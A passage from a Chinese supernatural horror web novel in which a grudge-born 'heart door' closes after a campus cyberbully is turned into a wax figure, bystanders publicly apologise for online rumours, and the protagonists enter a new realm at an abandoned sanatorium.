“她,文玉燕,甚至不是京大的学生,连你是谁都不知道,自然也是无辜的。” 程蔓的脸上,闪过一丝几不可察的赧然。 她沉默了片刻,才再次开口,声音低了几分。 “今天下午……我在图书馆看到江文彬,看到他那副虚伪的嘴脸……我一时……控制不住自己……” “心门会主动给离我最近的五个人发出链接……” “所以,才会把你们……都牵扯了进来。” 她的声音里,带着一丝不易察觉的歉意,但更多的是无法释怀的恨意。 宿珩静静地听着,目光落在她那双因激动而微微泛红的眼眶上。 “我能看出来,你其实还保留着相当的同理心和理智。” 宿珩缓缓开口。 “不然,按顺序,最先进女卫生间的,是林莹莹。” “然后是我和文玉燕,还有跟着我们进去的余思阳。” “我们或多或少,都看到了镜子上那些用血写成的字。” “但是,真正遭到‘报应’,成为‘下一个’的,却是江文彬。” 宿珩的目光平静而锐利,仿佛一眼就能洞穿人心。 “这至少说明,你并不想真的伤害那些……你认为的‘无辜者’。” 程蔓闻言,身体猛地一震。 她倏然抬起头,有些难以置信地看着宿珩。 他……竟然连这个都看出来了? 她确实是这么想的。 在镜子上写完“下一个就是你”的血字时,她内心的确闪过一丝犹豫和不忍。 她恨江文彬,恨透了那些曾经伤害过她的人。 但对于宿珩,对于文玉燕,甚至对于那个有些聒噪的林莹莹,还有那个看起来还算正直的余思阳…… 她并没有那么强烈的恨意。 所以,当那股源自“心门”的诅咒力量将要随机降临到某个人身上时—— 是她,用意念强行将目标锁定在了江文彬身上。 这个混蛋,必须第一个付出代价! 程蔓沉默了。 她抱着布袋的手臂,不自觉地又收紧了几分。 宿珩的话,像一把钥匙,撬开了她内心深处那道紧锁的闸门。 那个角落里,除了恨,似乎还残存着一点点……别的东西。 她自己都快要忘记的东西。 …… 两人说话间。 楼梯口的方向,再次传来那种令人牙酸的“咯吱”声。 一声,又一声,规律而沉闷。 那些“蜡像人”……又向上挪动了一级台阶。 现在,它们距离二楼,仅剩下最后几步的距离了。 宿珩的目光从程蔓脸上移开,投向声音传来的方向。 “如果江文彬彻底变成一尊蜡像,这扇‘心门’,就会消散吗?” 程蔓目光落在书架深处,看着那个已经不再挣扎,只剩下细微抽搐的身影。 她点了点头,声音轻得几乎要融入空气中。 “嗯。” 她停顿了一下,声音里带着一丝不易察觉的疲惫,和一种解脱般的释然。 “其实……就算你们什么都不做,这扇‘心门’最后也会自行消散。” 她垂下眼,看着自己紧握布袋的指尖。 “因为这一次……背后真正的作恶者,被拉进来了。” 江文彬,才是这扇门真正的锁芯。 一旦他彻底被这绝望吞噬,这扇由她的怨念构筑的囚笼,便会失去存在的意义。 宿珩了然地点了点头。 他转回头,看着程蔓。 那双总是盛着冷淡的眸子里,此刻竟也染上了一丝极淡的,难以察觉的复杂情绪。 “谢谢。” 没有多余的安慰,也没有虚伪的劝诫。 只是简单的两个字,却让程蔓紧绷的肩膀,微微松懈了几分。 宿珩说完,便不再多言,转身回到了阅览区角落,坐回那张木桌前,静静等待着。 仿佛接下来要面对的,不是一群即将涌上来的恐怖蜡像,而是一场寻常的电影散场。 文玉燕见状,快步挪了过来,在他对面的椅子上坐下,声音压得极低。 “你和她……谈好了?” 宿珩“嗯”了声。 文玉燕蹙眉:“那现在该怎么做?” “等着。” 宿珩的回答言简意赅。 等着? 文玉燕想到再过几个小时,那群密密麻麻,散发着诡异气息的“蜡像人”就会彻底爬上二楼,占领这里。 她不禁倒吸了一口凉气,胳膊上又起了一层鸡皮疙瘩。 这可不是什么愉快的体验。 不过,她看了一眼宿珩。 对方神色平静,甚至还单手撑着下巴,闭上了眼睛,像是打算补个觉。 文玉燕嘴角抽了抽,最终还是选择相信宿珩。 这家伙……总能做出些出人意料,却又似乎总在情理之中的事情。 于是,两人便真的什么都不做,就那么静静地坐在桌前。 宿珩甚至真的开始浅眠,呼吸平稳。 文玉燕看着他这副泰山崩于前而色不变的镇定模样,看着他那张在昏暗光线下依旧显得过分漂亮的冷淡侧脸,不由在心里感慨。 人与人之间的差别,怎么就能这么大呢? 她甚至觉得,老大当初那么看重他,亲自替他写新人报告,搞不好还是老大的荣幸。 文玉燕暗自打定主意。 等这次从“心门”出去,不用任何人提醒—— 她绝对立刻、马上,把关于这次“心门”的报告写得漂漂亮亮,详详细细的。 绝不让宿大佬,再为这种小事烦一点神。 另一边。 余思阳和林莹莹见宿珩、文玉燕还有程蔓三个人都安安静静地坐着不动。 宿珩甚至还旁若无人地开始了睡觉,顿时以为他们是已经彻底放弃了希望,准备等死。 两人心中最后一点微弱的火苗也熄灭了,脸上只剩下浓浓的绝望。 余思阳一屁股坐在冰冷的地板上,背靠着书架,眼神空洞,嘴里喃喃着什么,听不真切。 大概是在祈祷,或者是在咒骂。 林莹莹则依旧坐在离江文彬隔了两个书架的地方。 她不敢靠太近,也不敢离太远。 她看着那片令人作呕的蜡白色,一点点,一寸寸地爬满江文彬的全身。 看着他脸上的肌肉彻底僵硬,嘴角裂开,变成一个和楼梯口那些“蜡像人”一模一样的,诡异而凝固的笑容。 那张曾经让她觉得温柔英俊的脸,此刻只剩下可怖与陌生。 林莹莹的心,也随着那蜡白色的蔓延,一点点沉入冰冷的绝望深渊。 她开始后悔,后悔自己为什么会看上江文彬这种人。 后悔自己为什么要在那个帖子里留下那些刻薄的评论。 时间缓慢流逝。 每一秒都像一个世纪那么漫长。 不知不觉,最后几个小时也悄然过去。 “咯吱——咯吱——” 伴随着令人头皮发麻的关节错位声,那群“蜡像人”,终于踩上了通往二楼的最后一级台阶。 它们仰着僵硬的笑脸……上来了! 它们涌入了二楼,像一群沉默的蝗虫。 这一次,那刺耳密集的嘲笑声,和压抑得令人心悸的哭泣声,不再仅仅是宿珩一个人能听到。 而是清晰地灌入了在场每一个人的耳中。 两种声音交织在一起。 那哭声里充满了无助,嘲笑声里充满了恶意。 尖锐悲戚,令人毛骨悚然,几乎要将人的耳膜刺穿。 “啊——!” 林莹莹发出一声短促的惊叫。 她捂住耳朵,却无法阻挡那声音的侵入。 在她惊恐万状的目光中—— 那个已经完全蜡化,本该一动不动的江文彬,忽然如同木偶一样,僵硬地站了起来。 他全身的关节都发出“咯吱咯吱”的刺耳声响,每动一下都显得那么滞涩而费力。 像是生了锈的零件在强行转动。 然后,他那张挂着诡笑的蜡白面孔,慢慢转向了林莹莹。 那双没有焦距的眼睛,直勾勾地“看”着她。 一步……一步。 朝着她走了过来。 每一步,都踩在林莹莹狂跳的心脏上。 几乎是在同一时刻。 余思阳的身边,也悄无声息地走近了一个“蜡像人”。 那个“蜡像人”穿着一身蓝色的运动服,正是他之前在那群人影中,看到的失踪多日的篮球队队员。 此时,他那位曾经阳光开朗的队友,脸上也挂着同样僵硬诡异的笑容。 正扭着头,脖子发出不堪重负的“咔咔”声。 慢慢地……慢慢地,将那张惨白的脸贴近余思阳。 冰冷的,带着蜡质感的皮肤,几乎要碰到余思阳的脸颊。 “啊啊啊啊——!” 林莹莹和余思阳几乎是同时发出了凄厉的尖叫,随后两眼一翻,直接吓晕了过去。 他们的身体软软地倒在地上,彻底不省人事。 这大概就是这扇“心门”,对他们这些曾经的“旁观者”与“附和者”,所施加的,最轻微的惩罚。 日后,这恐怖的一幕,必定会成为他们难以磨灭的心理阴影。 或许,午夜梦回,他们还会看到那一张张蜡白色的笑脸。 那些涌上来的“蜡像人”,并没有伤害晕倒的两人。 它们只是沉默地,迅速占领了阅览区所有空余的桌子,以及书架间的空隙。 有的坐在椅子上,有的靠在书架上,有的甚至爬上了书架顶端。 一个个姿势僵硬地坐着,或者站着,仰着头,咧着嘴,无声地笑着。 仿佛在开一场盛大无声的嘲讽派对。 整个图书馆二楼,瞬间被一种死寂的诡异所笼罩。 宿珩在此时悠悠转醒。 他睁开眼,便看到自己身旁的空位上,不知何时也坐了一个“蜡像人”。 那“蜡像人”正费力地扭着它僵硬的脖子,将那张涂满白蜡的笑脸,对准了他。 宿珩面无表情地“啧”了一声。 他随手拿起桌上那本书,用书脊当作工具,在那“蜡像人”的脑袋上不轻不重地推了一下,将它的头按到了另一边,让它对着书架“欣赏”风景。 做完这一切,宿珩的目光瞥向窗外。 厚重的玻璃外不再是先前那种灰蒙蒙的压抑景象。 取而代之的,是深沉的夜色,甚至能看到几颗稀疏的星子。 算算时间,现实中确实是深夜了。 他站起身,理了理略有些褶皱的衣角,径自朝着楼梯口的方向走去。 文玉燕见状,立刻从椅子上弹了起来,迅速跟了过去。 这片不算宽敞,却挤满了“蜡像人”的图书馆阅览区。 程蔓依旧安静地坐在角落的桌前。 她看着那些姿态各异的“蜡像人”,看着那个已经彻底变成其中一员的江文彬,看着不远处晕死过去的余思阳和林莹莹。 她的嘴角,还带着那抹若有似无的笑意。 笑着笑着,她的肩膀开始微微耸动。 最终,程蔓再也支撑不住,猛地将脸埋进臂弯,趴在冰冷的木桌上,压抑地哭了起来。 那哭声,一开始还很细微,带着一丝解脱的轻颤。 渐渐地,哭声越来越大,越来越无法抑制,充满了复杂难言的情绪。 有大仇得报的快意,有终于卸下重担的释怀,也有一丝……说不清道不明的茫然与悲哀。 一切,都结束了。 但那些伤害,真的能随之烟消云散吗? 她不知道。 只是觉得,心里某个地方,空了一块。 第44章 第 44 章 失效链接(完) 宿珩和文玉燕一前一后走出图书馆大门。 身后, 程蔓那压抑不住的哭声被厚重的门扉隔绝,渐渐微弱,直至细不可闻。 夜风带着初春的凉意, 迎面拂来,吹散了些许在“心门”中沾染上的沉闷与血腥气。 京大的深夜格外宁静,只有远处路灯投下昏黄的光晕, 在空旷的道路上拉长了他们的影子。 宿珩从口袋里摸出手机。 屏幕亮起的瞬间,信号格从灰色转为满格。 紧接着,一连串的提示音“叮叮叮”地急促响起, 未读消息和未接来电的通知, 争先恐后地弹满了整个屏幕。 他随意扫了一眼。 室友1发了一条:[你今晚还回吗?] 发送时间是两小时前。 还有相识的一个同学, 想让他帮忙介绍个学生,去做家教。 再往下, 便是密密麻麻的未读消息列表,头像几乎是同一个人——肖靳言。 粗略看去,微信怕是有十几条,未接来电也有七八个, 时间从傍晚一直持续到现在。 宿珩的指尖在屏幕上顿了顿。 他想了想, 点开和肖靳言的对话框, 准备敲几个字回复。 告诉他自己不小心被卷进了一个“心门”, 不过现在已经平安出来了,让他不用担心。 “我被拉进……” 才打了四个字, 屏幕上方的通知栏忽然跳出新的森*晚*整*理来电提醒,依旧是肖靳言。 宿珩看着那跳动的名字, 指尖微动,划过接听键。 电话那头,肖靳言的声音听起来, 比平时多了些许低沉沙哑,带着一丝不易察觉的紧绷。 “看左前方。” 宿珩依言抬起头。 不远处的路灯下,一辆线条硬朗的黑色越野车,静静地停靠在路边。 在朦胧的夜色中,那辆车显得格外低调,却又透着一股不容忽视的存在感。 车身旁,一道高大挺拔的身影倚着车门,指间一点猩红明明灭灭,是香烟的火光。 肖靳言。 宿珩微微挑眉,他倒是没想到,这家伙居然能把车直接开到图书馆附近。 京大的校园管理,什么时候这么松散了…… 他收起手机,迈开长腿,朝着越野车的方向走去。 刚走出几步,身后便传来文玉燕带着几分咬牙切齿的嘀咕声。 音量不高,却足够清晰地传入他耳中: “啧,老大这也太偏心了吧!大家都是出生入死的同事,怎么待遇差别就这么大呢?” “没有消息慰问我就算了,居然连一个电话也没给我打……” 听着她的吐槽,宿珩脚步未停,唇角却几不可察地向上牵动了一下,但很快又恢复了平素的冷淡。 文玉燕显然也看到了肖靳言,快步追了上来,和宿珩并肩而行。 两人几乎是前后脚走到了越野车旁。 肖靳言掐灭了指间的烟,随手扔进路旁的垃圾桶。 他抬眼看向走近的两人,目光先是在宿珩身上停留了几秒,又扫过文玉燕。 不知是不是宿珩的错觉—— 他觉得肖靳言在看清他们两人安然无恙的模样后,整个人的气场都肉眼可见地松弛了几分。 那双总是带着几分锐利和戏谑的眼眸深处,也似乎褪去了一层紧绷的暗色。 “看来你们已经解决了。” 肖靳言开口,声音恢复了平日里那份从容不迫,却依旧带着一丝不易察觉的沙哑。 他没有多问“心门”里的细节。 只是抬了抬下巴,语气随意地说道:“晚饭都没吃吧?走,带你们去吃点东西,垫垫肚子。” “好啊好啊!” 文玉燕立刻举双手赞成,脸上露出了如释重负的表情,还夸张地捂了捂自己的肚子。 “老大,你再不出现,我可能就要饿死在里面了!这次可得好好宰你一顿!” 宿珩却摇了摇头,声音平淡:“下次吧。” 他抬眼看了看宿舍楼的方向,夜色已深,楼里大部分窗户都熄了灯。 “我先回宿舍了。” 肖靳言闻言,目光在他脸上转了一圈,见他神色平静,不似勉强,便也不再坚持。 他耸了耸肩,语气轻松:“行,那你早点休息。” 他看着宿珩转身,迈着不疾不徐的步子,渐渐走远,身影融入夜色。 直到宿珩的背影快要消失在拐角处,肖靳言才收回目光,转向一旁眼巴巴看着他的文玉燕。 “这次的‘心门’,感觉怎么样?” 肖靳言重新靠回车身上,从口袋里摸出烟盒,却没有再点燃,只是拿在手里把玩着,语气听起来有几分随意。 “有压力吗?” 文玉燕立刻拍了拍自己的胸脯,一副心有余悸的模样。 “压力?老大,何止是压力啊!简直是泰山压顶!” 她深吸一口气,语气里带着几分真诚的感慨。 “跟他一起共事,我算是彻底服了。” “我承认,不光是胆量,就连我的洞察力和敏锐力,跟他比起来,都差得不是一星半点。” 她想起宿珩在图书馆里冷静分析线索。 举起凳子砸蜡像人。 三言两语就戳破江文彬伪装。 甚至最后和“心门”主人程蔓对峙时的那份从容。 她的心中便不由自主地升起一股敬佩。 那种在绝境中,依旧能保持绝对理智和清晰判断力的人。 即便当初在无限世界,她也是第一次遇到。 哦不对……除了老大外,宿珩是她遇到的第一个这样的人。 肖靳言闻言,眉梢轻轻挑起,深邃的黑沉眼眸中掠过一丝了然。 这个结果,似乎早就在他的预料之中。 他拉开车门,对文玉燕道:“上车吧,送你回去。” “啊?” 文玉燕捂着肚子,眼巴巴地看着肖靳言,“不是说要带我去吃夜宵吗?” 肖靳言没接话,而是直接用钱堵住了她的嘴。 看到微信上突然多出来的500块的转账,文玉燕这才心满意足,麻溜地坐进了副驾驶。 她刚系好安全带,就听见身旁的肖靳言忽然用一种带着几分调侃的语气问她:“对了,这次的报告,你俩打算谁写?” 文玉燕闻言,身体猛地一僵,脑海中立即浮现出宿珩那张没什么表情的冷淡脸庞。 让她去催促宿珩写报告? 拉倒吧…… 也不想想,他上一次报告是谁写的…… “我写……我写!” 她几乎是条件反射般地举起手,语气无比坚定地表态。 “这种小事,怎么能麻烦宿……宿大佬呢!” “我回去就连夜赶出来,保证明天一早就交到您办公桌上!” 肖靳言听着她这番斩钉截铁的保证,眼底闪过一丝笑意。 “不急,给你缓两天。” 文玉燕高呼:“爱死你了老大!” 肖靳言嫌弃地瞥了她一眼。 他启动了车辆,黑色越野车平稳地汇入深夜空旷的马路。 车内一时间只有引擎轻微的嗡鸣声。 文玉燕偷偷觑了一眼身旁开车的肖靳言。 路灯的光影在他轮廓分明的侧脸上明明暗暗地掠过。 她忽然注意到,老大的嘴角,似乎微微向上扬着。 那不是他平时那种带着几分痞气和戏谑的笑,也不是面对下属时那种公事公办的疏离。 而是一种……她从未见过的,带着某种难以言喻的,近乎于自豪的笑容。 就好像,宿珩越是表现得冷静强大,越是能力出众,他就越是发自内心地感到高兴。 这种感觉,让文玉燕心里莫名地咯噔了一下。 怪怪的。 她暗自腹诽。 这感觉,怎么那么像自家养的白菜终于拱到了最厉害的猪…… 不对,是最优秀的白菜被自家猪拱了……也不对! 文玉燕晃了晃脑袋,试图把这些乱七八糟的念头甩出去。 总之,老大看宿珩的眼神,和他提起宿珩时的那种语气,都让她觉得—— 这两人之间的关系,恐怕不仅仅是普通同事那么简单。 不对不对。 更像是老大单方面的……暗恋? 反正她是从没见过老大对其他人,露出过这样的神情…… …… 宿珩推开宿舍门的时候,只有靠门的位置亮着微弱的屏幕光。 室友1正戴着耳机,手指在键盘上翻飞。 噼里啪啦的按键声,和鼠标急促的点击声,在安静的宿舍里显得格外清晰。 “回来了?” 室友1听到门开的动静,头也没回地问了一句,目光依旧死死盯着屏幕。 宿珩淡淡地“嗯”了声,径直走向自己的书桌,放下肩上的背包,然后从书架上层拿出洗漱用品。 他一言不发,转身走向宿舍尽头的公共盥洗室。 宿珩的身影刚消失在门口,一直躺在床上装死的室友2,忽然从上铺探出个脑袋。 他压低了声音,鬼鬼祟祟地凑向室友1的方向,问道:“诶诶诶,你有没有觉得,宿珩……他最近是不是回来得越来越晚了?” 室友1激战正酣,屏幕上战况激烈,他没好气地回了句:“管那么多干嘛,聊你的骚去,别烦我。” 室友2却不依不饶,声音压得更低,带着一丝猥琐的猜测。 “该不会……真像学校论坛上说的,被人给……那啥了吧?” 室友1闻言,手猛地一抖,游戏里的人物差点被对方一套技能直接带走。 他恼火地一把摘下耳机,扭头瞪着上铺的室友2,声音里带着明显的不耐烦。 “你少在那儿瞎琢磨!脑子里能不能想点干净东西?” “那种捕风捉影的屁话,也就你这种傻子才信!” 室友2被他劈头盖脸一顿抢白,噎了一下,讪讪地“哦”了声。 他悻悻地把脑袋缩了回去,没敢再多嘴,宿舍里又恢复了只有键盘和鼠标声的安静。 …… 第二天一大早。 图书馆的管理员照常拿着钥匙来开门。 刚走进二楼阅览区,他一眼就看到了歪七扭八倒在书架角落里的余思阳和林莹莹。 “现在的孩子可真用功啊。” 管理员推了推鼻梁上的老花镜,忍不住小声嘀咕了一句,“这都泡在图书馆里看书,连宿舍都忘了回了……” 他一边说着,一边走上前,打算叫醒这两个过于勤奋的学生。 管理员轻轻推了推林莹莹的肩膀。 “同学,同学,醒醒,天亮了。” “啊——!” 林莹莹像是被什么可怕的东西魇住,猛地睁开双眼,发出一声短促而凄厉的尖叫。 她双手胡乱地在身前挥舞着,像是要推开什么看不见的可怕东西,眼神里充满了极致的恐惧。 余思阳也几乎是在同一时刻弹坐起来,脸色惨白如纸,额头上布满了冷汗,大口大口地喘着粗气。 他眼神涣散,瞳孔没有焦距,好半天才慢慢聚焦,像是刚从一场无法挣脱的噩梦中惊醒。 管理员被他俩这副像是见了鬼的模样结结实实吓了一跳。 这位年过半百的老教师默默地往后退了一小步,但还是出于职责,关切地问了一嘴: “你们……你们这是怎么了?没事吧?是不是做噩梦了?” 林莹莹和余思阳惊魂未定地环顾四周。 明亮的晨曦透过高大的玻璃窗洒了进来,柔和的光线照亮了阅览室的每一个角落。 一排排书架整齐排列,光滑的木质桌椅摆放有序,空气中弥漫着书本特有的淡淡油墨香。 一切都显得那么正常,那么平静。 那些恐怖的蜡像人……那些令人窒息的嘲笑和哭泣声……全都不见了! 仿佛昨天晚上经历的那一切,真的只是一场光怪陆离,却真实到可怕的噩梦。 两人对视一眼,都从对方眼中看到了劫后余生的庆幸,和一丝心照不宣的默契。 “老师……我们……我们没事。” 余思阳强迫自己镇定下来,挤出一个比哭还难看的笑容,声音因为后怕还有些发颤。 “就是……就是看书看得太晚了,不知不觉就……就睡着了。” 他说完,看了一眼同样脸色苍白的林莹莹,也顾不上跟管理员多说什么,几乎是落荒而逃般地冲出了阅览室。 林莹莹同样不敢在这里多待片刻。 她踉踉跄跄地跟着跑出了几步,却在经过一排靠近角落的书架时,脚步猛地顿住了。 她的目光,不受控制地飘向江文彬最后消失的地方。 那里空空如也,只有几本书,因为昨晚的混乱而散落在地。 不,不对。 林莹莹的瞳孔微微一缩。 一部黑色手机,正静静地躺在冰冷的地面上。 手机屏幕因为摔落在地,已经裂开了几道细密的蛛网纹。 那是江文彬的手机。 林莹莹的心跳猛地漏了一拍,一股莫名的寒意从脚底缓缓升起,瞬间窜遍全身。 她站在原地,犹豫再三。 最终,林莹莹咬了咬牙,像是下定了某种决心,快步走了过去,弯腰捡起了那部冰凉的手机。 她将机身紧紧攥在微微颤抖的手心,然后头也不回地跑了出去。 …… 当天下午,沉寂了一段时间的京大匿名论坛,突然被三个几乎是同一时间出现的新帖子给彻底引爆了。 第一封帖子,发帖人的ID是一个从未有人见过的陌生小号。 帖子的标题却异常触目惊心—— 【忏悔书:我为我曾犯下的所有过错赎罪,祈求原谅!】 帖子里,发帖人详细罗列了自己过去几年在学校论坛上匿名造谣、恶意中伤他人的种种卑劣行径。 其中就包括对宿珩“被包/养”等谣言的恶意揣测和引导。 以及半年前,对外国语学院系花程蔓,那些更为恶毒、更不堪入目的黄/谣诽谤。 帖子里还提到了好些其他曾经被他用同样手段污蔑过的学生名字,每一个名字背后,都是一段被恶意扭曲的真相。 帖子的最后。 发帖人字里行间充满了深切的悔意和恐惧。 他反复强调自己知道错了,并向所有被他伤害过的人郑重道歉,恳求他们的原谅,说自己愿意接受任何惩罚。 第二封帖子,则来自一个在论坛上颇为活跃,以言辞犀利刻薄着称的大号,ID正是林莹莹的账号。 她先是删除了自己过去在各种八卦帖、爆料帖下面所有煽风点火、恶意攻击他人的评论。 然后发表了一篇置顶的公开道歉信。 信中她承认了自己的错误,说自己因为嫉妒和盲从,在网络上发表了很多不负责任的言论,给许多同学造成了伤害,对此她深感抱歉。 并表示以后会谨言慎行,深刻反省,绝不再参与任何形式的网络暴力。 紧随其后的第三封帖子,发帖人是校篮球队的主力队员余思阳。 他也同样删除了自己账号下所有涉及攻击和不当言论的回复,并公开发表了一篇道歉声明。 声明中,他不仅为自己曾经的口无遮拦道歉,还呼吁广大同学要理性看待网络信息,不要轻易听风就是雨,更不要成为网络暴力的帮凶。 这三封内容诡异,态度诚恳到令人匪夷所思的道歉帖子,一时间在京大论坛上掀起了轩然大波,引发了无数学生的围观和热议。 有人猜测这三个人是不是集体中邪了,还是被人抓住了什么把柄。 更有人将这三封帖子和前段时间校园里发生的几起学生失踪案联系起来。 私下里传言说这可能是什么神秘的诅咒,一旦在网络上恶意中伤他人,就会遭到报应。 一时间,论坛上那些平日里最喜欢搬弄是非、恶意揣测的账号都偃旗息鼓,再也不敢随意发表攻击性言论。 整个论坛的风气都为之一清。 当然,还有一件在小范围内引起关注的事情,那就是江文彬的失踪。 他就和之前失踪的那五个学生一样。 无论怎么查证,怎么寻找……都没有留下任何有价值的线索。 宿舍里的东西原封未动。 他就像是凭空从这个世界上消失了一样。 再也没有人见过他。 或许再过不久。 他会像其他突然失踪的人一样…… 被所有人慢慢遗忘。 第45章 第 45 章 福山疗养院1 三天后的一个中午, 阳光正好。 宿珩刚结束一场枯燥的通识课,手机震动了一下,屏幕上跳出一条银行入账短信。 数字末尾缀着一串零, 不多不少,刚好十万。 几乎是同时,肖靳言的电话就打了过来。 “奖金收到了?” 电话那头, 男人的声音带着熟悉的磁性与几分不易察觉的散漫,尾音微微上扬。 仿佛隔着电流都能勾勒出他唇边那抹惯有的弧度。 宿珩“嗯”了声,指尖在手机屏幕上划过, 关了短信提醒。 短暂的错愕后, 他已经恢复了惯常的冷淡。 肖靳言问:“下午有课吗?” 宿珩:“一节专业课。” “上完课来趟办事处, 新活儿。” 肖靳言的语气随意,却透着一股压下的凝肃, “这次我和你一起去。” 最后那句说得轻描淡写,如同随口一提。 闻言,宿珩握着手机的指尖微不可察地顿了顿。 不仅是因为新的任务,更多的是……肖靳言这个大忙人, 竟然会跟他一起。 …… 下午两点刚过, 宿珩走出京大南校门, 熟门熟路地拐进了那条不起眼的小巷。 肖靳言果然已经等在了办事处门口, 依旧是那件万年不变的黑色冲锋衣,肩宽腿长, 倚着辆黑色越野车。 他今天嘴里没叼烟,神色却比平时多了几分少见的凝重。 见到宿珩走近, 肖靳言没多废话,直接拉开副驾车门,下颌微扬, 示意他上车。 引擎启动的声响低沉而平稳。 不等宿珩开口询问,肖靳言已经一脚油门,车子如离弦之箭般冲了出去。 “事情紧急,路上说。” 车子平稳地驶离市区,朝着京州郊外的方向疾驰。 窗外景物飞速倒退,高楼渐隐,取而代之的是大片低矮厂房与荒芜田野,空气中都仿佛浸染上一丝萧索的凉意。 “这次任务地点是在福山社区的一家疗养院。” 肖靳言目视前方,声音沉稳。 “开了有些年头了,或者说已经是半废弃的状态,然而两天前,里面所有的人,一夜之间全不见了。” 他略微停顿,车内光线有些暗,映得他侧脸轮廓愈发硬朗分明。 “据社区负责人所说,里面四个病人,一个院长,一个护工,还有疗养院刚来的实习医生,一个都没少,凭空消失。” “初步判断,是一扇刚出现的‘心门’。” 宿珩安静听着,目光投向窗外迅速倒退的荒凉景色。 “这次的‘心门’,似乎比较特别?” 肖靳言瞥了他一眼,似乎对他敏锐的直觉毫不意外。 “嗯,和之前你遇到的不太一样,这次没有特定的‘钥匙’,或者说,那扇门本身……就是钥匙。” 红灯亮起,车子停稳。 等红灯的间隙,肖靳言修长的手指在方向盘上轻叩,语气添了几分郑重。 “任何人,只要推开疗养院的大门走进去,就会被直接卷入‘心门’。” “根据目前掌握的情报……这扇‘心门’的难度和危险程度,可能会比你之前经历的都要高。” 宿珩轻嗯了一声,表示了然。 红灯结束,肖靳言重新启动越野车,车内的空气有片刻的安静,只有轮胎碾过路面的轻微噪音。 大约四十多分钟后,越野车在一栋略显破败的三层小楼前停下。 小楼门口挂着一块褪色的牌子,上面“福山疗养院”几个字迹斑驳模糊,几乎难以辨认。 院墙外可以看到一片丛生的杂草,还有一些枯藤死气沉沉地攀在墙面,像是很久没人打理过了。 “办事处已经和当地社区打过招呼了,这附近暂时不会有其他人靠近。” 肖靳言熄了火,解开安全带。 两人一前一后下了车。 一阵微凉的风,卷着尘土与腐叶的气息拂面而过。 宿珩跟在肖靳言身后,看着他伸出手,推开了疗养院那扇锈迹斑斑的铁门。 “吱呀——” 一声刺耳的摩擦声响起,铁锈的碎屑随着门的开启簌簌落下。 明明是下午两三点钟,阳光最好的时候。 可就在他们踏入院门的一瞬间—— 头顶的天光仿佛被一只无形巨手瞬间攫走,天色骤然转为一片浓稠的灰蒙,压抑得令人喘不过气。 光线也随之诡异地暗淡下来,四周景物都蒙上了一层不祥的阴翳。 当双脚踩进院内,他们就已身在“心门”之中。 宿珩不动声色地打量着眼前的疗养院。 三层高的老旧小楼,墙皮有些剥落,露出里面暗色的砖石,透着一股年久失修的萧索。 窗户的玻璃也蒙着厚厚的灰,看不清里面的情形。 院子约莫一个篮球场大小。 一侧辟出了一小块菜地,里面的蔬菜蔫头耷脑,毫无生气。 另一边则摆放着几件锈迹斑斑、油漆剥落的健身器材。 此时,一个胖乎乎的,看起来六十多岁的老太太,正扶着其中一个锈蚀的拉伸器,慢吞吞地活动着身体。 她穿着洗得发白的碎花布衣,动作有些迟缓。 在她旁边不远处的轮椅上,坐着一个身形瘦削的小老头。 老头脖子上围着一条颜色暗沉的口水巾,脑袋歪向一边,像是正在闭目养神,又像是在晒着这片灰蒙蒙天空下并不存在的太阳。 他蜷曲的手指无力地搭在轮椅扶手上,对外界的动静毫无反应。 听到开门声和脚步声,那胖老太太缓缓转过头。 头发花白,脸上却带着和善的笑。 当看到走进来的宿珩和肖靳言时,老太太原本就带着笑意的眼睛更弯了些。 她上下打量着两人,语气很是熟稔地开了口:“哎哟,这俩小伙子长得可真俊!” 嗓门不小,带着点乡音。 老太太乐呵呵地拍了拍手,又凑近了些,几乎要贴到肖靳言面前,仔细端详着。 “啧啧,这眉眼,这身段,比画报上的人还好看!” 说完,她又转向宿珩,同样赞不绝口:“这个也是,白净斯文,招人疼!” 宿珩没什么反应,目光平静地扫过四周。 反倒是肖靳言露出一口整齐的白牙,唇角勾起一抹理所当然的笑:“谢谢您老的夸奖。” 但老太太像是没听到他的声音,慢吞吞走远了些。 她像是自言自语,又像是在对谁说:“要是我家那小子也能长这么周正,我做梦都能笑醒咯!” 念叨完,她便扬起嗓门,朝着楼里喊了一声:“刘晓花啊——新来了两个护工!这下你可要轻松不少咧!” 声音在空旷的院子里回荡。 宿珩心中微动,看来在这扇“心门”里,他和肖靳言的身份,是新来的护工。 老太太的话音刚落。 疗养院一楼的玻璃门被人从里面用力推开,走出来一个穿着白色护工服的年轻女人。 她推门的力道不小,玻璃都震得晃了晃。 女人约莫二十五六岁的年纪,长相普通,只是脸色带着不健康的苍白,眼下是淡淡的青黑,神情也透着一股挥之不去的疲惫和不耐。 她的护工服有些旧,领口还有点污渍。 看到院子里站着的宿珩和肖靳言时,这个被叫作“刘晓花”的年轻女护工,眉头几不可见地蹙了一下。 没什么温度的眼神从两人身上扫过,带着明显的审视和一丝不耐烦。 女护工没有多余的寒暄,直接开口吩咐:“愣着干什么?还不快进来!” 那语气颐指气使,带着一种不容置喙的命令。 宿珩和肖靳言对视了一眼,默不作声地迈步跟了上去。 一踏进疗养院楼内,一股混合着消毒水、霉味和某种难以名状的腐败气息便扑面而来。 楼道里的光线比外面更加昏暗。 墙壁刷了半截蓝漆,上面贴着的健康宣传画早已泛黄卷边,边缘翘起,仿佛随时都会脱落。 一切都显得阴沉而压抑。 宿珩刚一走进楼道,便立即皱紧了眉。 一股熟悉的负面情绪,便如同复杂而浓厚的潮水向他涌来。 无形地包裹着他,让他胸口微微有些发闷,浑身发冷,像是浸在冰冷黏腻的水中。 那是一种绝望中夹杂着强烈的孤独和被遗弃感…… 还有一丝……难以察觉的,扭曲期待。 …… 刘晓花领着宿珩和肖靳言,穿过昏暗的走廊,来到尽头一间挂着“护工房”牌子的小房间。 她推开门,一股尘封已久的霉味混杂着消毒水的气息涌了出来。 房间不大,靠墙摆着两张单人铁架床,床板锈迹斑斑,上面堆满了乱七八糟的杂物。 另一边则是一个掉了漆的旧衣柜,木头边缘都有些腐朽了。 刘晓花拉开衣柜门,动作粗鲁,柜门发出“嘎吱”的抗议声,仿佛下一秒就要散架。 她从里面胡乱翻找了一会儿,终于找出两套洗得发白,带着明显褶皱的蓝色护工服。 衣服像是揉成一团塞进去的,皱巴巴看不出形状。 她看也没看,随手将衣服嫌弃地扔在其中一张床上。 “喏,换上。” 她上下打量了两人一眼,那眼神像是在评估两件货物,带着毫不掩饰的挑剔。 “你们身上这衣服,花里胡哨的,一看就不是来干活的料。” “换好了,直接去二楼的201室找我。” “动作快点,别磨磨蹭蹭的。” 说完,她也不等两人回应,转身就走。 